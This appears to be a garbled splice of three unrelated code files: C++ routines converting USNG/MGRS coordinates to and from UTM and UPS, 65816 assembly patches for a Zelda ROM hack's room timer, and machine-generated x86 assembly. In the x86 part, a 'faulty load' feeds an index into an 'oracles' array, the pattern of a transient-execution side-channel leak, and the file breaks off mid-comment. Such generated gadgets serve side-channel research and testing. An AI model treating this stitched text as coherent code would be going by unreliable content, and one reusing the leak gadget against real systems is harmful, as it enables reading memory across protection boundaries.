geodeticCoordinates->latitude(); try { if((latitude >= (MIN_USNG_NON_POLAR_LAT - EPSILON)) && (latitude < (MAX_USNG_NON_POLAR_LAT + EPSILON))) mgrsorUSNGCoordinates = fromUTM( utmCoordinates, geodeticCoordinates->longitude(), latitude, precision ); else { upsCoordinates = ups->convertFromGeodetic( geodeticCoordinates ); mgrsorUSNGCoordinates = fromUPS( upsCoordinates, precision ); } } catch ( CoordinateConversionException e ) { delete geodeticCoordinates; delete upsCoordinates; throw e; } delete geodeticCoordinates; delete upsCoordinates; return mgrsorUSNGCoordinates; } MSP::CCS::UTMCoordinates* USNG::convertToUTM( MSP::CCS::MGRSorUSNGCoordinates* mgrsorUSNGCoordinates ) { /* * The function convertToUTM converts an USNG coordinate string * to UTM projection (zone, hemisphere, easting and northing) coordinates * according to the current ellipsoid parameters. If any errors occur, * an exception is thrown with a description of the error. * * USNGString : USNG coordinate string (input) * zone : UTM zone (output) * hemisphere : North or South hemisphere (output) * easting : Easting (X) in meters (output) * northing : Northing (Y) in meters (output) */ long zone; long letters[USNG_LETTERS]; double usng_easting, usng_northing; long precision; UTMCoordinates* utmCoordinates = 0; GeodeticCoordinates* geodeticCoordinates = 0; UPSCoordinates* upsCoordinates = 0; breakUSNGString( mgrsorUSNGCoordinates->MGRSString(), &zone, letters, &usng_easting, &usng_northing, &precision ); try { if (zone) { utmCoordinates = toUTM( zone, letters, usng_easting, usng_northing, precision ); // Convert to geodetic to make sure the coordinates are in the valid utm range geodeticCoordinates = utm->convertToGeodetic( utmCoordinates ); } else { upsCoordinates = toUPS( letters, usng_easting, usng_northing ); geodeticCoordinates = ups->convertToGeodetic( upsCoordinates ); utmCoordinates = utm->convertFromGeodetic( geodeticCoordinates ); } } catch ( CoordinateConversionException e ) { delete utmCoordinates; delete geodeticCoordinates; delete upsCoordinates; throw e; } delete geodeticCoordinates; delete upsCoordinates; return utmCoordinates; } MSP::CCS::MGRSorUSNGCoordinates* USNG::convertFromUPS( MSP::CCS::UPSCoordinates* upsCoordinates, long precision ) { /* * The function convertFromUPS converts UPS (hemisphere, easting, * and northing) coordinates to an USNG coordinate string according to * the current ellipsoid parameters. If any errors occur, an * exception is thrown with a description of the error. * * hemisphere : Hemisphere either 'N' or 'S' (input) * easting : Easting/X in meters (input) * northing : Northing/Y in meters (input) * precision : Precision level of USNG string (input) * USNGString : USNG coordinate string (output) */ int index = 0; char hemisphere = upsCoordinates->hemisphere(); double easting = upsCoordinates->easting(); double northing = upsCoordinates->northing(); if ((hemisphere != 'N') && (hemisphere != 'S')) throw CoordinateConversionException( ErrorMessages::hemisphere ); if ((easting < MIN_EAST_NORTH) || (easting > MAX_EAST_NORTH)) throw CoordinateConversionException( ErrorMessages::easting ); if ((northing < MIN_EAST_NORTH) || (northing > MAX_EAST_NORTH)) throw CoordinateConversionException( ErrorMessages::northing ); if ((precision < 0) || (precision > MAX_PRECISION)) throw CoordinateConversionException( ErrorMessages::precision ); GeodeticCoordinates* geodeticCoordinates = ups->convertToGeodetic( upsCoordinates ); // If the latitude is within valid mgrs polar range [-90, -80) or [84, 90], // convert to mgrs using the ups path, // otherwise convert to mgrs using the utm path MGRSorUSNGCoordinates* mgrsorUSNGCoordinates = 0; UTMCoordinates* utmCoordinates = 0; double latitude = geodeticCoordinates->latitude(); try { if((latitude < (MIN_USNG_NON_POLAR_LAT + EPSILON)) || (latitude >= (MAX_USNG_NON_POLAR_LAT - EPSILON))) mgrsorUSNGCoordinates = fromUPS( upsCoordinates, precision ); else { utmCoordinates = utm->convertFromGeodetic( geodeticCoordinates ); double longitude = geodeticCoordinates->longitude(); mgrsorUSNGCoordinates = fromUTM( utmCoordinates, longitude, latitude, precision ); } } catch ( CoordinateConversionException e ) { delete geodeticCoordinates; delete utmCoordinates; throw e; } delete geodeticCoordinates; delete utmCoordinates; return mgrsorUSNGCoordinates; } MSP::CCS::UPSCoordinates* USNG::convertToUPS( MSP::CCS::MGRSorUSNGCoordinates* mgrsorUSNGCoordinates ) { /* * The function convertToUPS converts an USNG coordinate string * to UPS (hemisphere, easting, and northing) coordinates, according * to the current ellipsoid parameters. If any errors occur, an * exception is thrown with a description of the error. * * USNGString : USNG coordinate string (input) * hemisphere : Hemisphere either 'N' or 'S' (output) * easting : Easting/X in meters (output) * northing : Northing/Y in meters (output) */ long zone; long letters[USNG_LETTERS]; long precision; double usng_easting; double usng_northing; int index = 0; UPSCoordinates* upsCoordinates = 0; GeodeticCoordinates* geodeticCoordinates = 0; UTMCoordinates* utmCoordinates = 0; breakUSNGString( mgrsorUSNGCoordinates->MGRSString(), &zone, letters, &usng_easting, &usng_northing, &precision ); try { if( !zone ) { upsCoordinates = toUPS( letters, usng_easting, usng_northing ); // Convert to geodetic to ensure coordinates are in the valid ups range geodeticCoordinates = ups->convertToGeodetic( upsCoordinates ); } else { utmCoordinates = toUTM( zone, letters, usng_easting, usng_northing, precision ); geodeticCoordinates = utm->convertToGeodetic( utmCoordinates ); upsCoordinates = ups->convertFromGeodetic( geodeticCoordinates ); } } catch ( CoordinateConversionException e ) { delete geodeticCoordinates; delete utmCoordinates; delete upsCoordinates; throw e; } delete geodeticCoordinates; delete utmCoordinates; return upsCoordinates; } MSP::CCS::MGRSorUSNGCoordinates* USNG::fromUTM( MSP::CCS::UTMCoordinates* utmCoordinates, double longitude, double latitude, long precision ) { /* * The function fromUTM calculates an USNG coordinate string * based on the zone, latitude, easting and northing. * * zone : Zone number (input) * latitude : Latitude in radians (input) * easting : Easting (input) * northing : Northing (input) * precision : Precision (input) * USNGString : USNG coordinate string (output) */ double pattern_offset; /* Pattern offset for 3rd letter */ double grid_northing; /* Northing used to derive 3rd letter of USNG */ long ltr2_low_value; /* 2nd letter range - low number */ long ltr2_high_value; /* 2nd letter range - high number */ int letters[USNG_LETTERS]; /* Number location of 3 letters in alphabet */ char USNGString[21]; long override = 0; long natural_zone; long zone = utmCoordinates->zone(); char hemisphere = utmCoordinates->hemisphere(); double easting = utmCoordinates->easting(); double northing = utmCoordinates->northing(); getLatitudeLetter( latitude, &letters[0] ); // Check if the point is within it's natural zone // If it is not, put it there if (longitude < PI) natural_zone = (long)(31 + ((longitude) / _6)); else natural_zone = (long)(((longitude) / _6) - 29); if (natural_zone > 60) natural_zone = 1; if (zone != natural_zone) { // reconvert to override zone UTM utmOverride( semiMajorAxis, flattening, natural_zone ); GeodeticCoordinates geodeticCoordinates( CoordinateType::geodetic, longitude, latitude ); UTMCoordinates* utmCoordinatesOverride = utmOverride.convertFromGeodetic( &geodeticCoordinates ); zone = utmCoordinatesOverride->zone(); hemisphere = utmCoordinatesOverride->hemisphere(); easting = utmCoordinatesOverride->easting(); northing = utmCoordinatesOverride->northing(); delete utmCoordinatesOverride; utmCoordinatesOverride = 0; } /* UTM special cases */ if (letters[0] == LETTER_V) // V latitude band { if ((zone == 31) && (easting >= _500000)) override = 32; // extension of zone 32V } else if (letters[0] == LETTER_X) { if ((zone == 32) && (easting < _500000)) // extension of zone 31X override = 31; else if (((zone == 32) && (easting >= _500000)) || // western extension of zone 33X ((zone == 34) && (easting < _500000))) // eastern extension of zone 33X override = 33; else if (((zone == 34) && (easting >= _500000)) || // western extension of zone 35X ((zone == 36) && (easting < _500000))) // eastern extension of zone 35X override = 35; else if ((zone == 36) && (easting >= _500000)) // western extension of zone 37X override = 37; } if (override) { // reconvert to override zone UTM utmOverride( semiMajorAxis, flattening, override ); GeodeticCoordinates geodeticCoordinates( CoordinateType::geodetic, longitude, latitude ); UTMCoordinates* utmCoordinatesOverride = utmOverride.convertFromGeodetic( &geodeticCoordinates ); zone = utmCoordinatesOverride->zone(); hemisphere = utmCoordinatesOverride->hemisphere(); easting = utmCoordinatesOverride->easting(); northing = utmCoordinatesOverride->northing(); delete utmCoordinatesOverride; utmCoordinatesOverride = 0; } /* Truncate easting and northing values */ double divisor = pow (10.0, (5.0 - precision)); easting = (long)(easting/divisor) * divisor; northing = (long)(northing/divisor) * divisor; if( latitude <= 0.0 && northing == 1.0e7) { latitude = 0.0; northing = 0.0; } getGridValues( zone, &ltr2_low_value, &ltr2_high_value, &pattern_offset ); grid_northing = northing; while (grid_northing >= TWOMIL) { grid_northing = grid_northing - TWOMIL; } grid_northing = grid_northing + pattern_offset; if(grid_northing >= TWOMIL) grid_northing = grid_northing - TWOMIL; letters[2] = (long)(grid_northing / ONEHT); if (letters[2] > LETTER_H) letters[2] = letters[2] + 1; if (letters[2] > LETTER_N) letters[2] = letters[2] + 1; letters[1] = ltr2_low_value + ((long)(easting / ONEHT) -1); if ((ltr2_low_value == LETTER_J) && (letters[1] > LETTER_N)) letters[1] = letters[1] + 1; makeUSNGString( USNGString, zone, letters, easting, northing, precision ); return new MGRSorUSNGCoordinates( CoordinateType::usNationalGrid, USNGString); } MSP::CCS::UTMCoordinates* USNG::toUTM( long zone, long letters[USNG_LETTERS], double easting, double northing, long precision ) { /* * The function toUTM converts an USNG coordinate string * to UTM projection (zone, hemisphere, easting and northing) coordinates * according to the current ellipsoid parameters. If any errors occur, * an exception is thrown with a description of the error. * * USNGString : USNG coordinate string (input) * zone : UTM zone (output) * hemisphere : North or South hemisphere (output) * easting : Easting (X) in meters (output) * northing : Northing (Y) in meters (output) */ char hemisphere; double min_northing; double northing_offset; long ltr2_low_value; long ltr2_high_value; double pattern_offset; double upper_lat_limit; /* North latitude limits based on 1st letter */ double lower_lat_limit; /* South latitude limits based on 1st letter */ double grid_easting; /* Easting for 100,000 meter grid square */ double grid_northing; /* Northing for 100,000 meter grid square */ double temp_grid_northing = 0.0; double fabs_grid_northing = 0.0; double latitude = 0.0; double longitude = 0.0; double divisor = 1.0; UTMCoordinates* utmCoordinates = 0; if((letters[0] == LETTER_X) && ((zone == 32) || (zone == 34) || (zone == 36))) throw CoordinateConversionException( ErrorMessages::usngString ); else if ((letters[0] == LETTER_V) && (zone == 31) && (letters[1] > LETTER_D)) throw CoordinateConversionException( ErrorMessages::usngString ); else { if (letters[0] < LETTER_N) hemisphere = 'S'; else hemisphere = 'N'; getGridValues(zone, &ltr2_low_value, &ltr2_high_value, &pattern_offset); /* Check that the second letter of the USNG string is within * the range of valid second letter values * Also check that the third letter is valid */ if((letters[1] < ltr2_low_value) || (letters[1] > ltr2_high_value) || (letters[2] > LETTER_V)) throw CoordinateConversionException( ErrorMessages::usngString ); grid_easting = (double)((letters[1]) - ltr2_low_value + 1) * ONEHT; if ((ltr2_low_value == LETTER_J) && (letters[1] > LETTER_O)) grid_easting = grid_easting - ONEHT; double row_letter_northing = (double)(letters[2]) * ONEHT; if (letters[2] > LETTER_O) row_letter_northing = row_letter_northing - ONEHT; if (letters[2] > LETTER_I) row_letter_northing = row_letter_northing - ONEHT; if (row_letter_northing >= TWOMIL) row_letter_northing = row_letter_northing - TWOMIL; getLatitudeBandMinNorthing(letters[0], &min_northing, &northing_offset); grid_northing = row_letter_northing - pattern_offset; if(grid_northing < 0) grid_northing += TWOMIL; grid_northing += northing_offset; if(grid_northing < min_northing) grid_northing += TWOMIL; easting = grid_easting + easting; northing = grid_northing + northing; utmCoordinates = new UTMCoordinates( CoordinateType::universalTransverseMercator, zone, hemisphere, easting, northing ); /* check that point is within Zone Letter bounds */ GeodeticCoordinates* geodeticCoordinates = 0; try { geodeticCoordinates = utm->convertToGeodetic( utmCoordinates ); } catch ( CoordinateConversionException e ) { delete utmCoordinates; throw e; } divisor = pow (10.0, (double)precision); getLatitudeRange(letters[0], &upper_lat_limit, &lower_lat_limit); double latitude = geodeticCoordinates->latitude(); delete geodeticCoordinates; if(!(((lower_lat_limit - PI_OVER_180/divisor) <= latitude) && (latitude <= (upper_lat_limit + PI_OVER_180/divisor)))) utmCoordinates->setWarningMessage( MSP::CCS::WarningMessages::latitude); } return utmCoordinates; } MSP::CCS::MGRSorUSNGCoordinates* USNG::fromUPS( MSP::CCS::UPSCoordinates* upsCoordinates, long precision ) { /* * The function fromUPS converts UPS (hemisphere, easting, * and northing) coordinates to an USNG coordinate string according to * the current ellipsoid parameters. * * hemisphere : Hemisphere either 'N' or 'S' (input) * easting : Easting/X in meters (input) * northing : Northing/Y in meters (input) * precision : Precision level of USNG string (input) * USNGString : USNG coordinate string (output) */ double false_easting; /* False easting for 2nd letter */ double false_northing; /* False northing for 3rd letter */ double grid_easting; /* Easting used to derive 2nd letter of USNG */ double grid_northing; /* Northing used to derive 3rd letter of USNG */ long ltr2_low_value; /* 2nd letter range - low number */ int letters[USNG_LETTERS]; /* Number location of 3 letters in alphabet */ double divisor; int index = 0; char USNGString[21]; char hemisphere = upsCoordinates->hemisphere(); double easting = upsCoordinates->easting(); double northing = upsCoordinates->northing(); divisor = pow (10.0, (5.0 - precision)); easting = (long)(easting/divisor) * divisor; northing = (long)(northing/divisor) * divisor; if (hemisphere == 'N') { if (easting >= TWOMIL) letters[0] = LETTER_Z; else letters[0] = LETTER_Y; index = letters[0] - 22; ltr2_low_value = UPS_Constant_Table[index].ltr2_low_value; false_easting = UPS_Constant_Table[index].false_easting; false_northing = UPS_Constant_Table[index].false_northing; } else { if (easting >= TWOMIL) letters[0] = LETTER_B; else letters[0] = LETTER_A; ltr2_low_value = UPS_Constant_Table[letters[0]].ltr2_low_value; false_easting = UPS_Constant_Table[letters[0]].false_easting; false_northing = UPS_Constant_Table[letters[0]].false_northing; } grid_northing = northing; grid_northing = grid_northing - false_northing; letters[2] = (long)(grid_northing / ONEHT); if (letters[2] > LETTER_H) letters[2] = letters[2] + 1; if (letters[2] > LETTER_N) letters[2] = letters[2] + 1; grid_easting = easting; grid_easting = grid_easting - false_easting; letters[1] = ltr2_low_value + ((long)(grid_easting / ONEHT)); if (easting < TWOMIL) { if (letters[1] > LETTER_L) letters[1] = letters[1] + 3; if (letters[1] > LETTER_U) letters[1] = letters[1] + 2; } else { if (letters[1] > LETTER_C) letters[1] = letters[1] + 2; if (letters[1] > LETTER_H) letters[1] = letters[1] + 1; if (letters[1] > LETTER_L) letters[1] = letters[1] + 3; } makeUSNGString( USNGString, 0, letters, easting, northing, precision ); return new MGRSorUSNGCoordinates( CoordinateType::usNationalGrid, USNGString); } MSP::CCS::UPSCoordinates* USNG::toUPS( long letters[USNG_LETTERS], double easting, double northing ) { /* * The function toUPS converts an USNG coordinate string * to UPS (hemisphere, easting, and northing) coordinates, according * to the current ellipsoid parameters. If any errors occur, an * exception is thrown with a description of the error. * * USNGString : USNG coordinate string (input) * hemisphere : Hemisphere either 'N' or 'S' (output) * easting : Easting/X in meters (output) * northing : Northing/Y in meters (output) */ long ltr2_high_value; /* 2nd letter range - high number */ long ltr3_high_value; /* 3rd letter range - high number (UPS) */ long ltr2_low_value; /* 2nd letter range - low number */ double false_easting; /* False easting for 2nd letter */ double false_northing; /* False northing for 3rd letter */ double grid_easting; /* easting for 100,000 meter grid square */ double grid_northing; /* northing for 100,000 meter grid square */ char hemisphere; int index = 0; if ((letters[0] == LETTER_Y) || (letters[0] == LETTER_Z)) { hemisphere = 'N'; index = letters[0] - 22; ltr2_low_value = UPS_Constant_Table[index].ltr2_low_value; ltr2_high_value = UPS_Constant_Table[index].ltr2_high_value; ltr3_high_value = UPS_Constant_Table[index].ltr3_high_value; false_easting = UPS_Constant_Table[index].false_easting; false_northing = UPS_Constant_Table[index].false_northing; } else if ((letters[0] == LETTER_A) || (letters[0] == LETTER_B)) { hemisphere = 'S'; ltr2_low_value = UPS_Constant_Table[letters[0]].ltr2_low_value; ltr2_high_value = UPS_Constant_Table[letters[0]].ltr2_high_value; ltr3_high_value = UPS_Constant_Table[letters[0]].ltr3_high_value; false_easting = UPS_Constant_Table[letters[0]].false_easting; false_northing = UPS_Constant_Table[letters[0]].false_northing; } else throw CoordinateConversionException( ErrorMessages::usngString ); /* Check that the second letter of the USNG string is within * the range of valid second letter values * Also check that the third letter is valid */ if ((letters[1] < ltr2_low_value) || (letters[1] > ltr2_high_value) || ((letters[1] == LETTER_D) || (letters[1] == LETTER_E) || (letters[1] == LETTER_M) || (letters[1] == LETTER_N) || (letters[1] == LETTER_V) || (letters[1] == LETTER_W)) || (letters[2] > ltr3_high_value)) throw CoordinateConversionException( ErrorMessages::usngString ); grid_northing = (double)letters[2] * ONEHT + false_northing; if (letters[2] > LETTER_I) grid_northing = grid_northing - ONEHT; if (letters[2] > LETTER_O) grid_northing = grid_northing - ONEHT; grid_easting = (double)((letters[1]) - ltr2_low_value) * ONEHT +false_easting; if (ltr2_low_value != LETTER_A) { if (letters[1] > LETTER_L) grid_easting = grid_easting - 300000.0; if (letters[1] > LETTER_U) grid_easting = grid_easting - 200000.0; } else { if (letters[1] > LETTER_C) grid_easting = grid_easting - 200000.0; if (letters[1] > LETTER_I) grid_easting = grid_easting - ONEHT; if (letters[1] > LETTER_L) grid_easting = grid_easting - 300000.0; } easting = grid_easting + easting; northing = grid_northing + northing; return new UPSCoordinates( CoordinateType::universalPolarStereographic, hemisphere, easting, northing); } void USNG::getGridValues( long zone, long* ltr2_low_value, long* ltr2_high_value, double *pattern_offset ) { /* * The function getGridValues sets the letter range used for * the 2nd letter in the USNG coordinate string, based on the set * number of the utm zone. It also sets the pattern offset using a * value of A for the second letter of the grid square, based on * the grid pattern and set number of the utm zone. * * zone : Zone number (input) * ltr2_low_value : 2nd letter low number (output) * ltr2_high_value : 2nd letter high number (output) * pattern_offset : Pattern offset (output) */ long set_number; /* Set number (1-6) based on UTM zone number */ set_number = zone % 6; if (!set_number) set_number = 6; if ((set_number == 1) || (set_number == 4)) { *ltr2_low_value = LETTER_A; *ltr2_high_value = LETTER_H; } else if ((set_number == 2) || (set_number == 5)) { *ltr2_low_value = LETTER_J; *ltr2_high_value = LETTER_R; } else if ((set_number == 3) || (set_number == 6)) { *ltr2_low_value = LETTER_S; *ltr2_high_value = LETTER_Z; } /* False northing at A for second letter of grid square */ if ((set_number % 2) == 0) *pattern_offset = 500000.0; else *pattern_offset = 0.0; } void USNG::getLatitudeBandMinNorthing( long letter, double* min_northing, double* northing_offset ) { /* * The function getLatitudeBandMinNorthing receives a latitude band letter * and uses the Latitude_Band_Table to determine the minimum northing * and northing offset for that latitude band letter. * * letter : Latitude band letter (input) * min_northing : Minimum northing for that letter (output) * northing_offset : Latitude band northing offset (output) */ if ((letter >= LETTER_C) && (letter <= LETTER_H)) { *min_northing = Latitude_Band_Table[letter-2].min_northing; *northing_offset = Latitude_Band_Table[letter-2].northing_offset; } else if ((letter >= LETTER_J) && (letter <= LETTER_N)) { *min_northing = Latitude_Band_Table[letter-3].min_northing; *northing_offset = Latitude_Band_Table[letter-3].northing_offset; } else if ((letter >= LETTER_P) && (letter <= LETTER_X)) { *min_northing = Latitude_Band_Table[letter-4].min_northing; *northing_offset = Latitude_Band_Table[letter-4].northing_offset; } else throw CoordinateConversionException( ErrorMessages::usngString ); } void USNG::getLatitudeRange( long letter, double* north, double* south ) { /* * The function getLatitudeRange receives a latitude band letter * and uses the Latitude_Band_Table to determine the latitude band * boundaries for that latitude band letter. * * letter : Latitude band letter (input) * north : Northern latitude boundary for that letter (output) * north : Southern latitude boundary for that letter (output) */ if ((letter >= LETTER_C) && (letter <= LETTER_H)) { *north = Latitude_Band_Table[letter-2].north * PI_OVER_180; *south = Latitude_Band_Table[letter-2].south * PI_OVER_180; } else if ((letter >= LETTER_J) && (letter <= LETTER_N)) { *north = Latitude_Band_Table[letter-3].north * PI_OVER_180; *south = Latitude_Band_Table[letter-3].south * PI_OVER_180; } else if ((letter >= LETTER_P) && (letter <= LETTER_X)) { *north = Latitude_Band_Table[letter-4].north * PI_OVER_180; *south = Latitude_Band_Table[letter-4].south * PI_OVER_180; } else throw CoordinateConversionException( ErrorMessages::usngString ); } void USNG::getLatitudeLetter( double latitude, int* letter ) { /* * The function getLatitudeLetter receives a latitude value * and uses the Latitude_Band_Table to determine the latitude band * letter for that latitude. * * latitude : Latitude (input) * letter : Latitude band letter (output) */ long band = 0; if (latitude >= _72 && latitude < _84_5) *letter = LETTER_X; else if (latitude > -_80_5 && latitude < _72) { band = (long)(((latitude + _80) / _8) + 1.0e-12); if(band < 0) band = 0; *letter = Latitude_Band_Table[band].letter; } else throw CoordinateConversionException( ErrorMessages::latitude ); } // CLASSIFICATION: UNCLASSIFIED
pushpc ; Underworld org $02B917 : JSL UpdateOnUWTransition org $01C411 : JSL UpdateOnUWStairs org $01C5CF : JSL UpdateOnSwitchPress org $02A0B1 : JSL UpdateOnUWMirror org $0794EB : JSL UpdateOnUWPitTransition org $01C4B8 : JSL UpdateOnKillRoom org $06B949 : JSL UpdateOnPegSwitch org $07D127 : JSL UpdateOnWarpTile org $07BC9A : JSL UpdateOnIntraroomStairs org $01D2C0 : JSL UpdateOnBombableWallUW org $01D2DE : JSL UpdateOnBombableFloor org $01CA56 : JSL UpdateOnMovingWallStart : NOP org $01C927 : JSL UpdateOnMovingWallEndPodMire org $01C9DB : JSL UpdateOnMovingWallEndDesert org $01C78C : JSL UpdateOnGanonKill org $01F6A7 : JSL UpdateOnTriforceDoor ; This causes some double triggers, but always on the same frame ; so it should be fine org $01C3A7 : JSL UpdateOnInterRoomStairs org $09969E : STZ.w $0380 ; just changes order of operations for the STZ JSL UpdateOnExplodingWall ; so that this can replace STZ dp LDA dp ; Overworld org $02A9BA : JSL UpdateOnOWTransition org $1BBD73 : JSL UpdateOnOWUWTransition org $05AFC6 : JSL UpdateOnOWMirror org $07A995 : JSL UpdateOnOWMirror2 org $0794DB : JSL UpdateOnOWPitTransition org $04E8CF : JSL UpdateOnOWToSpecial org $04E966 : JSL UpdateOnSpecialToOW org $1EEED8 : JSL UpdateOnWhirlPool org $1EEE83 : JSL UpdateOnOWMirror org $1BC209 : JSL UpdateOnBombableWallOW org $08E06A : JSL UpdateOnFlute ; Messaging org $028818 : JSL UpdateOnItemMenu org $0DDFD3 : JSL UpdateOnItemMenuClose org $0EF27C : JSL UpdateOnExitingText org $1CFD7E : JML UpdateOnEnteringMessaging org $05FC83 : JSL UpdateOnKey ; bonk key org $06D192 : JSL UpdateOnKey ; normal key org $078FFB : JSL UpdateOnBonk org $07999D : PHB : JSL UpdateOnReceiveItem ; Waitkey org $0EFB90 LDA.b $F4 ; vanilla pointlessly used absolute; dp is better JSL idle_waitkey ; now we have an easy 4 bytes here for the JSL ; EndMessage org $0EFBBB : JSL idle_endmessage ; MenuActive org $0DDF1E : JSL idle_menu ; BottleMenu org $0DE0E2 : JSL idle_menu pullpc macro update_timer() LDA.b #$02 : STA.w SA1IRAM.TIMER_FLAG endmacro macro reset_timer() LDA.b #$41 : STA.w SA1IRAM.TIMER_FLAG endmacro ; Underworld updates UpdateOnUWTransition: %reset_timer() LDA.b $67 : AND.b #$03 RTL UpdateOnUWStairs: %reset_timer() JML $07F243 UpdateOnSwitchPress: STA.b $11 %update_timer() LDX.b $0C RTL UpdateOnUWMirror: STA.b $11 : STZ.b $B0 %reset_timer() RTL UpdateOnUWPitTransition: %reset_timer() LDA.l $01C31F,X RTL UpdateOnKillRoom: %update_timer() LDA.b #$05 : STA.b $11 RTL UpdateOnBombableWallOW: UpdateOnExitingText: %update_timer() LDA.b #$01 : STA.b $14 RTL UpdateOnPegSwitch: %update_timer() LDA.b #$16 : STA.b $11 RTL UpdateOnWarpTile: %reset_timer() LDA.b #$15 : STA.b $11 RTL UpdateOnIntraroomStairs: %update_timer() LDA.b #$07 : STA.b $10 RTL UpdateOnInterRoomStairs: %reset_timer() JML $02B861 UpdateOnBombableWallUW: %update_timer() LDA.b #$09 : STA.b $11 RTL UpdateOnBombableFloor: SEP #$30 %update_timer() LDA.b #$1B RTL UpdateOnExplodingWall: %update_timer() STZ.b $50 LDA.b $EE RTL UpdateOnGanonKill: %update_timer() STZ.b $B0 STZ.b $AE RTL UpdateOnTriforceDoor: %update_timer() STZ.b $11 STZ.b $B0 RTL UpdateOnMovingWallStart: %update_timer() LDA.b #$01 : STA.w $02E4 RTL ; mire/pod: 1704->17 UpdateOnMovingWallEndPodMire: LDA.w !config_fast_moving_walls : BEQ .slowwalls SED CLC LDA.w SA1IRAM.ROOM_TIME_F : ADC.w #$47 CMP.w #$60 : BCC ++ SBC.w #$60 ++ STA.w SA1IRAM.ROOM_TIME_F LDA.w SA1IRAM.ROOM_TIME_S : ADC.w #$16 STA.w SA1IRAM.ROOM_TIME_S CLD .slowwalls LDY.b #$02 : STY.w SA1IRAM.TIMER_FLAG LDY.b #$00 : STY.b $AE,X RTL ; desert: 918->10 UpdateOnMovingWallEndDesert: LDA.w !config_fast_moving_walls : BEQ .slowwalls SED CLC LDA.w SA1IRAM.ROOM_TIME_F : ADC.w #$08 CMP.w #$60 : BCC ++ SBC.w #$60 ++ STA.w SA1IRAM.ROOM_TIME_F LDA.w SA1IRAM.ROOM_TIME_S : ADC.w #$09 STA.w SA1IRAM.ROOM_TIME_S CLD .slowwalls LDY.b #$02 : STY.w SA1IRAM.TIMER_FLAG LDY.b #$00 : STY.b $AE,X RTL ; Overworld updates UpdateOnOWUWTransition: %reset_timer() STZ.b $11 : STZ.b $B0 RTL UpdateOnOWTransition: %reset_timer() INC.b $11 : LDA.b $00 RTL UpdateOnOWMirror: %reset_timer() LDA.b #$23 : STA.b $11 RTL UpdateOnOWMirror2: %reset_timer() LDA.b #$14 : STA.b $5D RTL UpdateOnOWPitTransition: %reset_timer() JML $1BB860 ; Overworld_Hole UpdateOnOWToSpecial: %reset_timer() LDA.b #$17 : STA.b $11 RTL UpdateOnSpecialToOW: %reset_timer() LDA.b #$24 : STA.b $11 RTL UpdateOnWhirlPool: %reset_timer() LDA.b #$2E : STA.b $11 RTL UpdateOnFlute: %reset_timer() LDA.b #$0A : STA.b $11 RTL ; Messaging updates UpdateOnEnteringMessaging: UpdateOnItemMenu: %update_timer() LDA.b #$0E : STA.b $10 RTL UpdateOnItemMenuClose: STA.b $10 %update_timer() LDA.b $11 RTL ; Other updates UpdateOnKey: STA.l $7EF36F %update_timer() RTL UpdateOnBonk: %update_timer() STA.b $5D ; needs $02 RTL UpdateOnReceiveItem: LDA.b #$07 : PHA : PLB ; to make up for PHK : PLB %update_timer() LDA.b $4D RTL ;=================================================================================================== ; Idle frames ;=================================================================================================== macro inc_idle() REP #$21 SED LDA.w SA1IRAM.ROOM_TIME_IDLE : ADC.w #$0001 : STA.w SA1IRAM.ROOM_TIME_IDLE CLD SEP #$20 endmacro idle_waitkey: ; LDA $F4 from entry point ORA.b $F6 : AND.b #$C0 : BNE .pressed_key %inc_idle() LDA.b $F4 : ORA.b $F6 : AND.b #$C0 .pressed_key RTL idle_endmessage: LDA.b $F4 : ORA.b $F6 : BNE .pressed_key %inc_idle() LDA.b $F4 : ORA.b $F6 .pressed_key RTL idle_menu: LDA.b $F4 : BNE .pressed_key %inc_idle() LDA.b $F4 .pressed_key AND.b #$10 RTL
.global s_prepare_buffers s_prepare_buffers: push %r11 push %r13 push %r9 push %rax push %rcx push %rdi push %rdx push %rsi lea addresses_UC_ht+0x13671, %rsi lea addresses_WC_ht+0x12d81, %rdi cmp $7555, %r11 mov $41, %rcx rep movsw nop nop cmp %rdi, %rdi lea addresses_normal_ht+0xa2d1, %r9 nop nop sub %rdx, %rdx movb (%r9), %r13b dec %r9 lea addresses_WC_ht+0x6bf1, %rdx sub $31312, %r9 movups (%rdx), %xmm3 vpextrq $0, %xmm3, %r11 and $51447, %rcx lea addresses_D_ht+0xe125, %r13 nop nop nop nop nop and $28138, %r9 movw $0x6162, (%r13) nop nop nop nop and %rdx, %rdx lea addresses_UC_ht+0x1dd11, %rdi nop nop nop nop dec %rdx vmovups (%rdi), %ymm0 vextracti128 $1, %ymm0, %xmm0 vpextrq $0, %xmm0, %r9 nop nop nop nop nop add %r11, %r11 lea addresses_normal_ht+0x34d, %rsi lea addresses_WC_ht+0xa7b1, %rdi nop nop nop cmp $19227, %rax mov $23, %rcx rep movsq nop add %r11, %r11 lea addresses_WT_ht+0xc005, %rsi lea addresses_WT_ht+0xe8d1, %rdi nop and $53768, %rdx mov $41, %rcx rep movsl nop nop nop nop nop inc %rdi lea addresses_A_ht+0x1ebb1, %rax nop nop nop nop sub $20825, %rdi movl $0x61626364, (%rax) nop nop and %r13, %r13 lea addresses_D_ht+0x2df1, %rdi nop nop nop nop add $12304, %rax mov $0x6162636465666768, %r13 movq %r13, (%rdi) and $31286, %r11 lea addresses_D_ht+0x127f1, %rcx nop nop nop nop add %rax, %rax movb (%rcx), %dl cmp %rdx, %rdx lea addresses_WT_ht+0x18971, %rdi nop nop nop nop add %rax, %rax vmovups (%rdi), %ymm3 vextracti128 $0, %ymm3, %xmm3 vpextrq $1, %xmm3, %r13 nop nop nop nop nop xor $7438, %rdx lea addresses_D_ht+0x10b81, %r11 nop nop xor $41574, %r13 movw $0x6162, (%r11) nop nop nop and $57984, %rsi pop %rsi pop %rdx pop %rdi pop %rcx pop %rax pop %r9 pop %r13 pop %r11 ret .global s_faulty_load s_faulty_load: push %r10 push %r12 push %r13 push %r14 push %r15 push %r9 push %rsi // Store lea addresses_WT+0xfff1, %r13 nop and %r9, %r9 mov $0x5152535455565758, %rsi movq %rsi, (%r13) nop add $56844, %r10 // Store lea addresses_WT+0x15b53, %r12 nop nop nop nop nop add $285, %r15 movw $0x5152, (%r12) nop nop nop sub %r13, %r13 // Faulty Load lea addresses_PSE+0x1b7f1, %r13 nop nop nop nop nop cmp $46799, %r9 movaps (%r13), %xmm2 vpextrq $1, %xmm2, %r12 lea oracles, %r15 and $0xff, %r12 shlq $12, %r12 mov (%r15,%r12,1), %r12 pop %rsi pop %r9 pop %r15 pop %r14 pop %r13 pop %r12 pop %r10 ret /* <gen_faulty_load> [REF] {'OP': 'LOAD', 'src': {'type': 'addresses_PSE', 'AVXalign': False, 'congruent': 0, 'size': 32, 'same': False, 'NT': 